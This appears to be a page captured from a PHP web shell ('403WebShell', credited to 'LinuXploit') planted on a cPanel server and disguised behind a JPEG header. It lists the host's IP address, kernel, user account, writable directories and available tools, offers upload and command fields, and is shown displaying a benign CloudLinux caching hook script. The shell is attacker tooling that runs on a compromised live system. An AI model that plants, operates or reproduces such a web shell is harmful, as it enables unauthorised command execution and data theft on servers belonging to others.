����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clwpos/hooks/cpanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clwpos/hooks/cpanel//user_disable_caching.py
#!/opt/cloudlinux/venv/bin/python3 -sbb
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import absolute_import

import json
import os
import sys

from clcommon.cpapi import docroot as get_docroot
from clwpos.hooks.lib.user_disable_caching import (
    _run_pre_hook,
    _run_post_hook,
    is_docroot_with_wpos_enabled_affected
)
from clwpos.utils import WposUser, get_parent_pid


def main(args):
    """
    This hook will be triggered in case of user changing php version from cpanel for any of wp
    This module will disable object_cache
    if not supported php_version or php-fpm handler exists in users wordpress sites
    Hook is triggered by events
    Web - Cpanel: -> MultiPHP Manager
    CLI - Cpanel UAPI::LangPHP::php_set_vhost_versions post
    """
    user = WposUser(args['data']['user'])
    domains_affected = {v for k, v in args['data']['args'].items() if 'vhost' in k}
    docroots_affected = {get_docroot(domain)[0].rstrip('/') for domain in domains_affected}

    if not is_docroot_with_wpos_enabled_affected(user, docroots_affected):
        return

    hook_type = args['hook']['stage']
    if hook_type == 'pre':
        _run_pre_hook(user)
    elif hook_type == 'post':
        _run_post_hook(user, domains_affected)


if __name__ == '__main__':
    argv = json.loads(sys.stdin.read())
    pid = get_parent_pid()
    # set special envars, further when wp-cli will be called,
    # presence of these envars will mean to use PHP version that had been written to the special file
    os.environ.update({'CLWPOS_USE_SAVED_PHP_VERSION': '1', 'CLWPOS_PHP_FILE_ID': str(pid)})
    sys.exit(main(argv))

Youez - 2016 - github.com/yon3zu
LinuXploit